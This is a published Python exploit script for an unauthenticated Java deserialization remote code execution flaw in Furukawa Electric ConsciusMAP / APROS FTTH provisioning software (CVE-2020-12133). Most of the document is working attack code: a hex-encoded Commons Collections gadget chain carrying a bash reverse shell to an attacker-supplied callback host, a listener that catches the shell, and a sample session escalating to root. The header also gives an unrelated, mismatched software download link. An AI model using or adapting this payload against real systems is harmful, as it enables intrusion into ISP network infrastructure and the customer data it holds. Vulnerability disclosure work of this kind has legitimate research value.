Furukawa Electric ConsciusMAP 2.8.1 – Remote Code Execution

# Exploit Title: Furukawa Electric ConsciusMAP 2.8.1 - Remote Code Execution

# Date: 2020-04-24

# Vendor Homepage: https://www.tecnoredsa.com.ar

# Exploit Authors: LiquidWorm

# Software Link: https://dl.getpopcorntime.is/PopcornTime-latest.exe

# Version: 2.8.1

# CVE : N/A

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

#

# Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution

#

# Vendor: Furukawa Electric Co., Ltd. | Tecnored SA

# Product web page: https://www.furukawa.co.jp | https://www.tecnoredsa.com.ar

# Affected version: APROS Evolution | 2.8.1

# FURUKAWA | 2.7.10

# ConsciusMAP | 2.6.4

# | 2.3.1

# | 2.1.49

# | 2.1.36

# | 2.1.31

# | 2.1.18

# | 2.1.16

# | 2.1.15

# | 2.1.1

# | 2.0.1174

# | 1.8

# | 1.4.70

#

# Summary: Apros Evoluation / Furukawa / ConsciusMap is the Tecnored

# provisioning system for FTTH networks. Complete administration of

# your entire external FTTH network plant, including from the ONUs

# installed in each end customer, to the wiring and junction boxes.

# Unify all the management of your FTTH network on a single platform.

# Unify all your data, whether from customers, your network, or the

# external plant in one place. APROS FTTH allows you to manage your

# entire FTTH network in a simple and globalized way with just one

# click, without being a network expert. Includes services such as:

# bandwidth limitation, Turbo Internet for time plans, BURST Internet,

# QinQ for companies, and many more. General consumption graphics and

# per customer in real time. Captive Portal for cutting or suspension

# of the service.

#

# Desc: The FTTH provisioning solution suffers from an unauthenticated

# remote code execution vulnerability due to an unsafe deserialization

# of Java objects (ViewState) triggered via the 'javax.faces.ViewState'

# HTTP POST parameter. The deserialization can cause the vulnerable JSF

# web application to execute arbitrary Java functions, malicious Java

# bytecode, and system shell commands with root privileges.

#

# ===================================================================

# $ ./furukawa.py 172.16.0.1:8080 172.168.0.200 4444

# [*] Setting up valid URL path

# [*] Starting callback listener child thread

# [*] Starting handler on port 4444

# [*] Sending serialized object

# [*] Connection from 172.16.0.1:48446

# [*] You got shell!

# tomcat7@zslab:/var/lib/tomcat7$ id

# uid=114(tomcat7) gid=124(tomcat7) grupos=124(tomcat7),1003(furukawa)

# tomcat7@zslab:/var/lib/tomcat7$ sudo su

# id

# uid=0(root) gid=0(root) grupos=0(root)

# exit

# tomcat7@zslab:/var/lib/tomcat7$ exit

# *** Connection closed by remote host ***

# ===================================================================

#

# Tested on: Apache Tomcat/7.0.68

# Apache Tomcat/7.0.52

# Apache MyFaces/2.2.1

# Apache MyFaces/2.1.17

# Apache MyFaces/2.0.10

# GNU/Linux 4.4.0-173

# GNU/Linux 4.4.0-137

# GNU/Linux 4.4.0-101

# GNU/Linux 4.4.0-83

# GNU/Linux 3.15.0

# GNU/Linux 3.13.0-32

# PrimeFaces/4.0.RC1

# Apache-Coyote/1.1

# ACC Library 3.1

# Ubuntu 16.04.2

# Ubuntu 14.04.2

# Java/1.8.0_242

# Java/1.8.0_181

# Java/1.8.0_131

# Java/1.7.0_79

# MySQL 5.7.29

# MySQL 5.7.18

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# Macedonian Information Security Research and Development Laboratory

# Zero Science Lab - https://www.zeroscience.mk - @zeroscience

#

# Advisory ID: ZSL-2020-5565

# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5565.php

#

# CVE ID: CVE-2020-12133

# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12133

#

# 24.02.2020

#

import os#############

import sys############

import gzip#######o###

import zlib###########

import socket#########

import base64#########

import urllib#########

import requests#######

import telnetlib######

import threading######

import subprocess#####

from io import BytesIO

from time import sleep

from flash import blic

class Optics:

def __init__(self):

self.callback = None#

self.headers = None##

self.payload = None##

self.target = None###

self.lport = None####

self.path = None#####

self.cmd = None######

def allears(self):

telnetus = telnetlib.Telnet()

print("[*] Starting handler on port {}".format(self.lport))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(("0.0.0.0", self.lport))

while True:

try:

s.settimeout(8)

s.listen(1)

conn, addr = s.accept()

print("[*] Connection from {}:{}".format(addr[0], addr[1]))

telnetus.sock = conn

except socket.timeout as p:

print("[!] Probably not vulnerable... ({poraka})".format(poraka=p))

print("[+] Check your port mappings.")

s.close()

exit(0)

break

print("[*] You got shell!")

#

# UnicodeDecodeError dirty fix:

# /usr/lib/python3.6/telnetlib.py

# Change from 'ascii' to 'utf-8' (Lines: 553 and 556)

#

telnetus.interact()

conn.close()

def thricer(self):

print("[*] Starting callback listener child thread")

konac = threading.Thread(name="ZSL", target=self.allears)

konac.start()

sleep(1)

self.gadget()

def gadget(self):

self.cmd = "/bin/bash -c /bin/bash${IFS}-i>&/dev/tcp/"

self.cmd += self.callback

self.cmd += "/"

self.cmd += str(self.lport)

self.cmd += "<&1"

payload = b"\xAC\xED\x00\x05\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C"

payload += b"\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03"

payload += b"\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x02\x3F\x40\x00\x00\x00\x00\x00"

payload += b"\x01\x73\x72\x00\x34\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63"

payload += b"\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E"

payload += b"\x73\x2E\x6B\x65\x79\x76\x61\x6C\x75\x65\x2E\x54\x69\x65\x64\x4D\x61"

payload += b"\x70\x45\x6E\x74\x72\x79\x8A\xAD\xD2\x9B\x39\xC1\x1F\xDB\x02\x00\x02"

payload += b"\x4C\x00\x03\x6B\x65\x79\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61"

payload += b"\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x03\x6D\x61\x70\x74"

payload += b"\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B"

payload += b"\x78\x70\x74\x00\x26\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x69\x74\x68"

payload += b"\x75\x62\x2E\x63\x6F\x6D\x2F\x6A\x6F\x61\x6F\x6D\x61\x74\x6F\x73\x66"

payload += b"\x2F\x6A\x65\x78\x62\x6F\x73\x73\x20\x73\x72\x00\x2A\x6F\x72\x67\x2E"

payload += b"\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F"

payload += b"\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A"

payload += b"\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00"

payload += b"\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61"

payload += b"\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C"

payload += b"\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72"

payload += b"\x6D\x65\x72\x3B\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61"

payload += b"\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65"

payload += b"\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43"

payload += b"\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72"

payload += b"\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72"

payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72"

payload += b"\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F"

payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73"

payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72"

payload += b"\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E"

payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73"

payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00"

payload += b"\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70"

payload += b"\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C"

payload += b"\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E"

payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D"

payload += b"\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69"

payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x71\x00\x7E\x00\x03\x78\x70\x76\x72"

payload += b"\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69"

payload += b"\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72"

payload += b"\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D"

payload += b"\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66"

payload += b"\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72"

payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38"

payload += b"\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A"

payload += b"\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C"

payload += b"\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C"

payload += b"\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B"

payload += b"\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12"

payload += b"\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73"

payload += b"\x3B\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E"

payload += b"\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C"

payload += b"\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75"

payload += b"\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C"

payload += b"\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A"

payload += b"\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D"

payload += b"\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72"

payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E"

payload += b"\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x78\x70\x76\x71\x00"

payload += b"\x7E\x00\x1B\x73\x71\x00\x7E\x00\x13\x75\x71\x00\x7E\x00\x18\x00\x00"

payload += b"\x00\x02\x70\x75\x71\x00\x7E\x00\x18\x00\x00\x00\x00\x74\x00\x06\x69"

payload += b"\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72"

payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63"

payload += b"\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x76\x71\x00"

payload += b"\x7E\x00\x18\x73\x71\x00\x7E\x00\x13\x75\x72\x00\x13\x5B\x4C\x6A\x61"

payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2"

payload += b"\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"

payload += (bytes(chr(len(self.cmd)), "utf-8"))##################################"

payload += (bytes(self.cmd, "utf-8"))############################################"

payload += b"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x01"

payload += b"\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x0F\x73\x72\x00\x11\x6A\x61"

payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2"

payload += b"\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65"

payload += b"\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D"

payload += b"\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x78\x70\x00"

payload += b"\x00\x00\x01\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E"

payload += b"\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00"

payload += b"\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09"

payload += b"\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00"

payload += b"\x00\x00\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"#######"

jbits = BytesIO()

with gzip.GzipFile(fileobj=jbits, mode="wb") as f:

f.write(payload)

serialize = base64.b64encode(jbits.getvalue())

print("[*] Sending serialized object")

self.headers = {

"Accept" : "text/html,application/xhtml+xml,application/xml;q=1.pwn",

"Content-Type" : "application/x-www-form-urlencoded",

"User-Agent" : "ISP-Eye/2.51",

"Connection" : "keep-alive"}

self.paramz={"javax.faces.ViewState" : serialize}

#sleep(1)

r = requests.post(self.target + self.path, headers=self.headers, data=self.paramz)

def par(self):

if len(sys.argv) != 4:

self.usage()

else:

self.target = sys.argv[1]

self.callback = sys.argv[2]

self.lport = int(sys.argv[3])

if not "http" in self.target:

self.target = "http://{}".format(self.target)

def check(self):

print("[*] Setting up valid URL path")

try:

r = requests.get(self.target)

app = r.text

if not "FURUKAWA" in app and not "APROS" in app:

print("[!] App not detected.")

exit(0)

if "FURUKAWA" in app:

self.path = "/FURUKAWA/"

elif "APROS" in app:

self.path = "/APROS/"

else:

exit(-1337)

except Exception as p:

print("[!] Somethingz wrong: \n--\n{poraka}".format(poraka=p))

exit(0)

def framed(self):

naslov = """

o===--------------------------------------===o

| |

| Furukawa Electric / Tecnored |

| APROS Evolution | FURUKAWA | ConsciusMAP |

| Fiber-To-The-Home (FTTH) |

| |

| Java Deserialization Remote Code Execution |

| ZSL-2020-5565 |

| |

o===--------------------------------------===o

||

(\__/)||

(•ㅅ•)||

/ づ|

"""

print(naslov)

def usage(self):

self.framed()

print("Usage: ./furukawa.py <RHOST[:RPORT]> <LHOST> <LPORT>")

print("Example: ./furukawa.py 172.16.0.1:8080 172.16.0.200 4444\n")

exit(0)

def main(self):

self.par()########()

self.check()######()

self.thricer()####()

if __name__ == '__main__':

Optics().main()

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